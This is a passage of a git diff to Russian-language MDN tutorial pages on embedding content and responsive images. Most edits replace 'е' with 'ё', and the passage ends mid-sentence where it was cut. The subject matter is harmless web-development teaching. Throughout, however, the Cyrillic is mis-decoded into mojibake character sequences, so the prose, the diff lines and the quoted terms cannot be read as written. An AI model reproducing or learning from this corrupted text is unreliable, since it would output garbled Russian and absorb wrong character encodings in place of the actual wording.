Π²Π΅Π±-Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ стали Π½Π°ΠΌΠ½ΠΎΠ³ΠΎΒ Π½Π°Π΄Π΅ΠΆΠ½Π΅Π΅. ΠŸΠΎΡ‡Ρ‚ΠΈ всСм сСрвисам ΠΏΡ€ΠΈΡˆΠ»ΠΎ врСмя ΠΏΡ€Π΅ΠΊΡ€Π°Ρ‚ΠΈΡ‚ΡŒ Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΏΠ»Π°Π³ΠΈΠ½ΠΎΠ²Β ΠΈ вмСсто этого ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π²Π΅Π±-Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ.</p>
+<p>Когда-Ρ‚ΠΎ ΠΏΠ»Π°Π³ΠΈΠ½Ρ‹ Π±Ρ‹Π»ΠΈ Π½Π΅Π·Π°ΠΌΠ΅Π½ΠΈΠΌΡ‹ Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅. ΠŸΠΎΠΌΠ½ΠΈΡ‚Π΅ Π΄Π½ΠΈ, ΠΊΠΎΠ³Π΄Π° Π²Π°ΠΌ ΠΏΡ€ΠΈΡ…ΠΎΠ΄ΠΈΠ»ΠΎΡΡŒ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ Adobe Flash Player для просмотра ΠΎΠ½Π»Π°ΠΉΠ½-Ρ„ΠΈΠ»ΡŒΠΌΠ°? И ΠΏΠΎΡ‚ΠΎΠΌ постоянно Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π»ΠΈ Ρ€Π°Π·Π΄Ρ€Π°ΠΆΠ°ΡŽΡ‰ΠΈΠ΅ прСдупрСТдСния ΠΎΠ± ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠΈ Flash Player ΠΈ Java Runtime Environment. Π‘ Ρ‚Π΅Ρ… ΠΏΠΎΡ€ Π²Π΅Π±-Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ стали Π½Π°ΠΌΠ½ΠΎΠ³ΠΎΒ Π½Π°Π΄Ρ‘ΠΆΠ½Π΅Π΅. ΠŸΠΎΡ‡Ρ‚ΠΈ всСм сСрвисам ΠΏΡ€ΠΈΡˆΠ»ΠΎ врСмя ΠΏΡ€Π΅ΠΊΡ€Π°Ρ‚ΠΈΡ‚ΡŒ Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΏΠ»Π°Π³ΠΈΠ½ΠΎΠ²Β ΠΈ вмСсто этого ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π²Π΅Π±-Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ.</p>
<ul>
<li><strong>Π Π°ΡΡˆΠΈΡ€ΡŒΡ‚Π΅ свою Π΄ΠΎΡΡΠ³Π°Π΅ΠΌΠΎΡΡ‚ΡŒ для всСх</strong>. Π£ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π΅ΡΡ‚ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€, Π½ΠΎ ΠΏΠ»Π°Π³ΠΈΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ всС Ρ€Π΅ΠΆΠ΅, особСнно срСди ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Web Π² Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ стСпСни ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π±Π΅Π· ΠΏΠ»Π°Π³ΠΈΠ½ΠΎΠ², люди ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Π»ΠΈ Π±Ρ‹ просто ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ Π½Π° сайты Π²Π°ΡˆΠΈΡ… ΠΊΠΎΠ½ΠΊΡƒΡ€Π΅Π½Ρ‚ΠΎΠ², Ρ‡Π΅ΠΌ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΏΠ»Π°Π³ΠΈΠ½.</li>
@@ -355,7 +355,7 @@ textarea.onkeyup = function(){
<h2 id="Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅">Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅</h2>
-<p>Π’Π΅ΠΌΠ° встраивания Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Π² Π²Π΅Π±-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹ ΠΏΠΎΠ½Π°Ρ‡Π°Π»Ρƒ ΠΌΠΎΠΆΠ΅Ρ‚Β ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ ΠΎΡ‡Π΅Π½ΡŒ слоТной для понимания, поэтому Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ ΠΏΠΎΠΏΡ‹Ρ‚Π°Π»ΠΈΡΡŒ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π΅Π΅ простым, Π·Π½Π°ΠΊΠΎΠΌΡ‹ΠΌ способом, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ сразу ΠΆΠ΅ станСт Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹ΠΌ, Π½ΠΎ всС ΠΆΠ΅ Π½Π°ΠΌΠ΅ΠΊΠ°Π΅Ρ‚ Π½Π° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· Π±ΠΎΠ»Π΅Π΅ слоТных Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ Π²ΠΎΠ²Π»Π΅Ρ‡Π΅Π½Π½Ρ‹Ρ… Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ. НачнСм с Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ вряд Π»ΠΈ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ большоС количСство встраивании стороннСго ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΏΠΎΠΌΠΈΠΌΠΎ встроСнных ΠΊΠ°Ρ€Ρ‚ ΠΈ Π²ΠΈΠ΄Π΅ΠΎ Π½Π° своих страницах.</p>
+<p>Π’Π΅ΠΌΠ° встраивания Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Π² Π²Π΅Π±-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹ ΠΏΠΎΠ½Π°Ρ‡Π°Π»Ρƒ ΠΌΠΎΠΆΠ΅Ρ‚Β ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ ΠΎΡ‡Π΅Π½ΡŒ слоТной для понимания, поэтому Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ ΠΏΠΎΠΏΡ‹Ρ‚Π°Π»ΠΈΡΡŒ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π΅Ρ‘ простым, Π·Π½Π°ΠΊΠΎΠΌΡ‹ΠΌ способом, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ сразу ΠΆΠ΅ станСт Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹ΠΌ, Π½ΠΎ всС ΠΆΠ΅ Π½Π°ΠΌΠ΅ΠΊΠ°Π΅Ρ‚ Π½Π° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· Π±ΠΎΠ»Π΅Π΅ слоТных Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ Π²ΠΎΠ²Π»Π΅Ρ‡Ρ‘Π½Π½Ρ‹Ρ… Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ. Начнём с Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ вряд Π»ΠΈ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ большоС количСство встраивании стороннСго ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΏΠΎΠΌΠΈΠΌΠΎ встроСнных ΠΊΠ°Ρ€Ρ‚ ΠΈ Π²ΠΈΠ΄Π΅ΠΎ Π½Π° своих страницах.</p>
<p>БущСствуСт ΠΌΠ½ΠΎΠ³ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ Π² сСбя Π²Π½Π΅Π΄Ρ€Π΅Π½ΠΈΠ΅ внСшнСго ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΏΠΎΠΌΠΈΠΌΠΎ Ρ‚Π΅Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ обсуТдали здСсь. ΠœΡ‹ Π²ΠΈΠ΄Π΅Π»ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· Ρ€Π°Π½Π½ΠΈΡ… статСй, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ {{htmlelement ("video")}}, {{htmlelement ("audio")}} ΠΈ {{htmlelement ("img")}}, Π½ΠΎ Π΅ΡΡ‚ΡŒ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅. НапримСр, {{htmlelement ("canvas")}} для 2D-ΠΈ 3D-Π³Ρ€Π°Ρ„ΠΈΠΊΠΈ, сгСнСрированной JavaScript, ΠΈ {{SVGElement ("svg")}} для встраивания Π²Π΅ΠΊΡ‚ΠΎΡ€Π½ΠΎΠΉ Π³Ρ€Π°Ρ„ΠΈΠΊΠΈ. ΠœΡ‹ рассмотрим SVG Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ модуля.</p>
diff --git a/files/ru/learn/html/multimedia_and_embedding/responsive_images/index.html b/files/ru/learn/html/multimedia_and_embedding/responsive_images/index.html
index 654c0496b0..3f4ad83e69 100644
--- a/files/ru/learn/html/multimedia_and_embedding/responsive_images/index.html
+++ b/files/ru/learn/html/multimedia_and_embedding/responsive_images/index.html
@@ -33,7 +33,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Responsive_images
<p>Вакая вёрстка Ρ…ΠΎΡ€ΠΎΡˆΠΎ выглядит Π½Π° ΡˆΠΈΡ€ΠΎΠΊΠΎΡ„ΠΎΡ€ΠΌΠ°Ρ‚Π½Ρ‹Ρ… экранах Π½ΠΎΡƒΡ‚Π±ΡƒΠΊΠΎΠ² ΠΈ Π½Π°ΡΡ‚ΠΎΠ»ΡŒΠ½Ρ‹Ρ… ПК,Β (Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒΒ <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/not-responsive.html">ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π΄Π΅ΠΌΠΎ-ΠΏΡ€ΠΈΠΌΠ΅Ρ€</a>Β ΠΈ Π½Π°ΠΉΡ‚ΠΈ <a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/responsive-images/not-responsive.html">исходный ΠΊΠΎΠ΄</a>Β Π½Π°Β Github.) ΠœΡ‹ Π½Π΅ Π±ΡƒΠ΄Π΅ΠΌ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ CSS, скаТСм Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅:</p>
<ul>
- <li>Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΠΌΠΎΠΌΡƒΒ Ρ‚Π΅Π³Π° <code>main</code>Β Π·Π°Π΄Π°Π½Π° максимальная ΡˆΠΈΡ€ΠΈΠ½Π°Β 1200 пиксСлСй. Если ΠΎΠΊΠ½ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Π²Ρ‹ΡˆΠ΅ этой ΡˆΠΈΡ€ΠΈΠ½Ρ‹, Ρ‚ΠΎ содСрТимоС сайта остаСтся Π½Π° 1200 пиксСлСй ΠΈ Ρ†Π΅Π½Ρ‚Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ сСбя Π² доступном пространствС. Если ΠΎΠΊΠ½ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Π½ΠΈΠΆΠ΅ этой ΡˆΠΈΡ€ΠΈΠ½Ρ‹, содСрТимоС устанавливаСтся Π² 100% ΠΎΡ‚ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ экрана.</li>
+ <li>Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΠΌΠΎΠΌΡƒΒ Ρ‚Π΅Π³Π° <code>main</code>Β Π·Π°Π΄Π°Π½Π° максимальная ΡˆΠΈΡ€ΠΈΠ½Π°Β 1200 пиксСлСй. Если ΠΎΠΊΠ½ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Π²Ρ‹ΡˆΠ΅ этой ΡˆΠΈΡ€ΠΈΠ½Ρ‹, Ρ‚ΠΎ содСрТимоС сайта остаётся Π½Π° 1200 пиксСлСй ΠΈ Ρ†Π΅Π½Ρ‚Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ сСбя Π² доступном пространствС. Если ΠΎΠΊΠ½ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Π½ΠΈΠΆΠ΅ этой ΡˆΠΈΡ€ΠΈΠ½Ρ‹, содСрТимоС устанавливаСтся Π² 100% ΠΎΡ‚ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ экрана.</li>
<li>Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π² шапкС всСгда Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡΡ‚Π°Π²Π°Ρ‚ΡŒΡΡ Π² Ρ†Π΅Π½Ρ‚Ρ€Π΅ Ρ‚Π΅Π³Π° header Π²Π½Π΅ зависимости ΠΎΡ‚ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. Если сайт Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒΡΡ Π½Π° ΡƒΠ·ΠΊΠΈΡ… экранах, Ρ‚ΠΎ Π²Π°ΠΆΠ½Ρ‹Π΅ Π΄Π΅Ρ‚Π°Π»ΠΈ Π² Ρ†Π΅Π½Ρ‚Ρ€Π΅ изобраТСния (люди) всС Ρ€Π°Π²Π½ΠΎ Π±ΡƒΠ΄ΡƒΡ‚ Π²ΠΈΠ΄Π½Ρ‹. ВсС, Ρ‡Ρ‚ΠΎ Π²Ρ‹Ρ…ΠΎΠ΄ΠΈΡ‚ Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Ρ‹ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ экрана Π±ΡƒΠ΄Π΅Ρ‚ скрыто. Высота шапки 200 пиксСлСй.</li>
<li>Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡ Π² содСрТимом Π·Π°Π΄Π°Π½Ρ‹ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎ Ссли ΡˆΠΈΡ€ΠΈΠ½Π° body становится мСньшС Ρ‡Π΅ΠΌ ΡˆΠΈΡ€ΠΈΠ½Π° изобраТСния, Ρ‚ΠΎ изобраТСния Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‚ ΡΠΆΠΈΠΌΠ°Ρ‚ΡŒΡΡ ΠΈ ΠΎΡΡ‚Π°ΡŽΡ‚ΡΡ всСгда Π²Π½ΡƒΡ‚Ρ€ΠΈ body ΠΈ Π½Π΅ Π²Ρ‹ΡΡ‚ΡƒΠΏΠ°ΡŽΡ‚Β Π·Π° Π΅Π³ΠΎ ΠΏΡ€Π΅Π΄Π΅Π»Ρ‹.</li>
</ul>
@@ -46,7 +46,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Responsive_images
<p>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π½Π΅Ρ‚ Π½ΡƒΠΆΠ΄Ρ‹ Π²ΡΡ‚Ρ€Π°ΠΈΠ²Π°Ρ‚ΡŒ Ρ‚Π°ΠΊΠΈΠ΅ большиС изобраТСния Π½Π° страницу, Ссли она просматриваСтся Π½Π° малСньком экранС мобильного устройства; это называСтся <strong>resolution switching problem</strong>Β β€” растровоС ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ прСдставляСт собой Ρ‚ΠΎΡ‡Π½ΠΎ-Π·Π°Π΄Π°Π½Π½ΠΎΠ΅ количСство пиксСлСй ΠΏΠΎ ΡˆΠΈΡ€ΠΈΠ½Π΅ ΠΈ высотС; ΠΊΠ°ΠΊ ΠΌΡ‹ успСли Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, ΠΊΠΎΠ³Π΄Π° рассматривали <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">Π²Π΅ΠΊΡ‚ΠΎΡ€Π½ΡƒΡŽ Π³Ρ€Π°Ρ„ΠΈΠΊΡƒ</a>, растровоС ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ становится зСрнистым ΠΈ выглядит уТасно, Ссли ΠΎΠ½ΠΎ отобраТаСтся Π² Ρ€Π°Π·ΠΌΠ΅Ρ€Π΅ большСм, Ρ‡Π΅ΠΌ ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ (Ρ‚ΠΎΠ³Π΄Π° ΠΊΠ°ΠΊ Π²Π΅ΠΊΡ‚ΠΎΡ€Π½ΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅Ρ‚).Β Π’ Ρ‚ΠΎ ΠΆΠ΅ врСмя, Ссли ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ отобраТаСтся Π² Π³ΠΎΡ€Π°Π·Π΄ΠΎ мСньшСм Ρ€Π°Π·ΠΌΠ΅Ρ€Π΅, Ρ‡Π΅ΠΌ ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ, это ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ напрасной Ρ‚Ρ€Π°Ρ‚Π΅ Ρ‚Ρ€Π°Ρ„ΠΈΠΊΠ° β€” ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… устройств Π±ΡƒΠ΄ΡƒΡ‚ Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ большоС ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ для ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π°, вмСсто малСнького для ΠΈΡ… устройства. ИдСально Π±Ρ‹Π»ΠΎ Π±Ρ‹ ΠΈΠΌΠ΅Ρ‚ΡŒ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΎΒ Ρ„Π°ΠΉΠ»ΠΎΠ²Β Π² Ρ€Π°Π·Π½Ρ‹Ρ… Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡΡ…, ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΒ Π½ΡƒΠΆΠ½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ Π² зависимости ΠΎΡ‚ устройства, ΠΎΠ±Ρ€Π°Ρ‰Π°ΡŽΡ‰Π΅Π³ΠΎΡΡ ΠΊ Π²Π΅Π±-сайту.</p>
-<p>Π‘Π»ΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ для Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… устройств с большим Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ΠΌ экрана Π½ΡƒΠΆΠ½Ρ‹ изобраТСния большСго Ρ‡Π΅ΠΌ оТидаСтся Ρ€Π°Π·ΠΌΠ΅Ρ€Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ‡Π΅Ρ‚Ρ‡Π΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π»ΠΎΡΡŒ. По сути это всё одна Π·Π°Π΄Π°Ρ‡Π°Β Π² Ρ€Π°Π·Π½Ρ‹Ρ… условиях.</p>
+<p>Π‘Π»ΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ для Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… устройств с большим Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ΠΌ экрана Π½ΡƒΠΆΠ½Ρ‹ изобраТСния большСго Ρ‡Π΅ΠΌ оТидаСтся Ρ€Π°Π·ΠΌΠ΅Ρ€Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ‡Ρ‘Ρ‚Ρ‡Π΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π»ΠΎΡΡŒ. По сути это всё одна Π·Π°Π΄Π°Ρ‡Π°Β Π² Ρ€Π°Π·Π½Ρ‹Ρ… условиях.</p>
<p>МоТно ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π²Π΅ΠΊΡ‚ΠΎΡ€Π½Ρ‹Π΅ изобраТСния ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ Ρ€Π΅ΡˆΠΈΡ‚ΡŒ эти ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹. Π’ ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ стСпСни это Ρ‚Π°ΠΊ. Π£ Π½ΠΈΡ… нСбольшой вСс ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€, поэтому ΠΈΡ… ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠΎΡ‡Ρ‚ΠΈ Π² любом случаС. Они Ρ…ΠΎΡ€ΠΎΡˆΠΈ для простой Π³Ρ€Π°Ρ„ΠΈΠΊΠΈ, ΡƒΠ·ΠΎΡ€ΠΎΠ², элСмСнтов интСрфСйса ΠΈ Ρ‚. Π΄. Π‘Π»ΠΎΠΆΠ½Π΅Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π²Π΅ΠΊΡ‚ΠΎΡ€Π½ΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ с большим количСством Π΄Π΅Ρ‚Π°Π»Π΅ΠΉ, ΠΊΠ°ΠΊ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π½Π° Ρ„ΠΎΡ‚ΠΎ. РастровыС изобраТСния (JPEG) для нашСго ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° подходят большС.Β </p>
@@ -143,7 +143,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Responsive_images
width: 320px;
}</pre>
-<p>Π’ этом случаС, Π½Π΅Ρ‚ нСобходимости Π² <code>sizes</code>Β β€” Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ просто опрСдСляСт Π² ΠΊΠ°ΠΊΠΎΠΌ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ дисплСй ΠΈ Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ подходящСС ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π² соотвСтствии с <code>srcset</code>. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ссли устройство, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π°Π΅ΠΌΠΎΠ΅ ΠΊ страницС, ΠΈΠΌΠ΅Π΅Ρ‚ дисплСй стандартного/Π½ΠΈΠ·ΠΊΠΎΠ³ΠΎ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ, ΠΊΠΎΠ³Π΄Π° ΠΎΠ΄ΠΈΠ½ пиксСль устройства прСдставляСт (соотвСтствуСт) ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ CSS-пиксСль, Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½ΠΎ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅Β <code>elva-fairy-320w.jpg</code> (ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ x1, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Π²Π°ΠΌ Π½Π΅ Π½Π°Π΄ΠΎ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π΅Π³ΠΎ). Если устройство ΠΈΠΌΠ΅Π΅Ρ‚ высокоС Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅, Π² Π΄Π²Π° пиксСля устройства Π½Π° ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ CSS-пиксСль ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅, Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½ΠΎ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅Β <code>elva-fairy-640w.jpg</code>. 640px ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ€Π°Π·ΠΌΠ΅Ρ€ 93KB, Ρ‚ΠΎΠ³Π΄Π° Ρ‚Π°ΠΊΒ 320px ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ - всСго 39KB.</p>
+<p>Π’ этом случаС, Π½Π΅Ρ‚ нСобходимости Π² <code>sizes</code>Β β€” Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ просто опрСдСляСт Π² ΠΊΠ°ΠΊΠΎΠΌ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ дисплСй ΠΈ Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ подходящСС ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π² соотвСтствии с <code>srcset</code>. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ссли устройство, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π°Π΅ΠΌΠΎΠ΅ ΠΊ страницС, 